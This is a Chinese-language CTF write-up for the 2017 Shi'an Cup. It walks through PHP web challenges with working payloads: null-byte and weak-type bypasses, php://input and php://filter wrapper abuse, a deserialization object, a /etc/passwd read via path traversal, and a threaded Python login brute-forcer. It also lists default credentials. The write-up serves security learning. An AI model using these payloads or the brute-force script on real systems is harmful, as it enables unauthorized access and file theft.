世安杯 CTF 2017 Writeup

  1. 1. ctf 入门级题目
  2. 2. 曲奇饼
  3. 3. 类型
  4. 4. 登录
  5. 5. admin
  6. 线下赛
    1. 渗透阶段
      1. 第一题:
      2. 第二题:
      3. 第三题:
    2. 攻防阶段

1. ctf 入门级题目

下源代码,发现可以利用ereg的00截断漏洞,burpsuite发送get请求/shian-rao/?password=1%00–

2. 曲奇饼

访问,一段不知名文字,然后发现网址/shian-quqi/index.php?line=&file=a2V5LnR4dA==

file参数明显base64编码过,base64解码为key.txt,然后我们修改为index.php,base64编码,加上line参数可以遍历index.php文件。得到源码

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){
$file_list[2]='thisis_flag.php';
}

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

容易发现只要将file参数值改为thisis_flag.php的base64编码后的值,并且添加cookie

3. 类型

直接给了源码,通过php的弱类型漏洞绕过就好。

 <?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
        $x1 = $_GET['x1'];
        $x1=="1"?die("ha?"):NULL;
        switch ($x1)
        {
        case 0:
        case 1:
                $a=1;
                break;
        }
}
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
    is_numeric(@$x2["x21"])?die("ha?"):NULL;
    if(@$x2["x21"]){
        ($x2["x21"]>2017)?$b=1:NULL;
    }
    if(is_array(@$x2["x22"])){
        if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
        $p = array_search("XIPU", $x2["x22"]);
        $p===false?die("ha?"):NULL;
        foreach($x2["x22"] as $key=>$val){
            $val==="XIPU"?die("ha?"):NULL;
        }
        $c=1;
}
}
$x3 = $_GET['x3'];
if ($x3 != '15562') {
    if (strstr($x3, 'XIPU')) {
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
            $d=1;
        }
    }
}
if($a && $b && $c && $d){
    include "flag.php";
    echo $flag;
}
?>

==弱类型,则x1=b
is_numeric 直接用2018bcd绕过,后面比较的时候转换为数值2018,得b1=1
array_search弱类型漏洞,XIPU字符串转数字为0,然后后面的$var==="XIPU"由于会检查类型,所以可以绕过
所以可以构造x2={“x21”:”2018a”,”x22”:[[0,1],0]}
后面的md5直接爆破即可,x3=XIPU18570

4. 登录

用户名默认了,密码看网页源代码有提示说为5位数字,验证码是非图片验证码,直接可以拿到
所以,爆破吧,生成一个00000-99999的字典,一个get拿到验证码,然后一个get测试一个密码,然后,建议开个多线程。
这里直接利用工具了,pkav HHTP Fuzzer

或者 脚本

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import urllib, urllib2
import re
import threading
def get(begin):
    right = 0
    index = begin * 10000
    while index < (begin + 1) * 10000:
        URL = 'http://ctf1.shiyanbar.com/shian-s/index.php';
        opener = urllib2.build_opener()
        opener.addheaders.append(('Cookie', 'PHPSESSID=45cehecb1jv2jlsi591hv8l0m' + str(begin)))
        try:
            response = opener.open(URL)
        except urllib2.HTTPError, e:
            continue
        data = response.read()
        if re.search('服务器安全狗防护验证页面', data) != None:
            continue
        if re.search('<br><br>[0-9]*<br><br>', data) == None:
            continue
        rcode = re.search('<br><br>[0-9]*<br><br>', data).group()
        rcode = rcode[8:11]
        # print(index)
        s = str(index)
        if index < 10000:
            s = s.zfill(5)
        password = s
        formdata = {'username': 'admin', 'password':password, 'randcode':rcode}
        data_encoded = urllib.urlencode(formdata)
        # req = urllib2.Request(URL, param)
        URL += '?' + data_encoded
        # print(URL)
        # opener = urllib2.build_opener()
        opener.addheaders.append(('Cookie', 'PHPSESSID=45cehecb1jv2jlsi591hv8l0m' + str(begin)))
        try:
            response1 = opener.open(URL)
            status = response1.getcode()
            # print(status == 200)
        except urllib2.HTTPError, e:
            continue

        f1 = open('log' + str(begin) + '.txt', 'a')
        f1.write(str(index) + "\n")
        f1.close()
        data1 = response1.read()
        if re.search('服务器安全狗防护验证页面', data1) != None:
            continue
        # print(re.search('验证码错误', data1))
        # print(right)
        if status == 200 and re.search('密码错误', data1) == None and re.search('验证码错误', data1) == None and re.search('服务器安全狗防护验证页面', data1) == None:
            if right == 0:
                right = 1
                index -= 1
                # print('right' + str(index))
            else:
                print(index)
                f = open('log.txt', 'a')
                f.write(str(index))
                f.write(data1)
                f.close()
                break
        else:
            right = 0
        index += 1
        # res = urllib2.urlopen
# get(0)
for i in xrange(10):
    t =threading.Thread(target=get,args=(i,))
    t.start()

5. admin

直接请求,

you are not admin !
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
 -->

可以用php伪协议绕过,user=php://input,然后post的数据为the user is admin

然后,include部分也可以用PHP伪协议读取文件,file=php://filter/convert.base64-encode/resource=index.php

<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}
?>
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
-->

然后发现了class.php,也拿下来

<?php
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

看到提示读取f1a9.php

然后,看到__toString方法和$pass = unserialize($pass);,想到反序列化漏洞,构造如下

GET /shian-du/index.php?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";} HTTP/1.1
Host: ctf1.shiyanbar.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: XDEBUG_SESSION=netbeans-xdebug; PHPSESSID=cko7epgroock0vgau9amiri4l5
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 17
the user is admin

然后,就想尝试下这个任意文件读取有多大权限,试了下/etc/passwd发现可以读取

GET /shian-du/index.php?user=php://input&file=php://filter/convert.base64-encode/resource=../../../../../etc/passwd HTTP/1.1
Host: ctf1.shiyanbar.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://src.shiyanbar.com/student/exam-second/seize-flag
Cookie: XDEBUG_SESSION=netbeans-xdebug; PHPSESSID=cko7epgroock0vgau9amiri4l5
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 17
the user is admin

然后,发现web都是在同一个服务器上面,尝试读取第一题的index.php看看,
发现可以,那么,原则上,通过这道题就可以直接kill掉所有的web题,具有较大危害(可惜前面的题目都已经自己做出来了)。

线下赛

渗透阶段

第一题:

后台弱口令,这。。。admin/MetInfo
你会发现过不了这个这题就废了

第二题:

phpmyadmin爆破弱口令这。。。root/abc123

第三题:

又是一个wooyun上的已知漏洞利用,额,这个是不给网的,跟现实有点脱离吧

攻防阶段

开始几分钟部分队伍未修改默认密码,是关于修改默认密码的问题吧,然而刚刚开始的时候服务器很卡很卡,自己都进不去,这。。。
Redis

Drupal

FFmpeg
的漏洞,嗯,这个的确是平时没有关注到


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com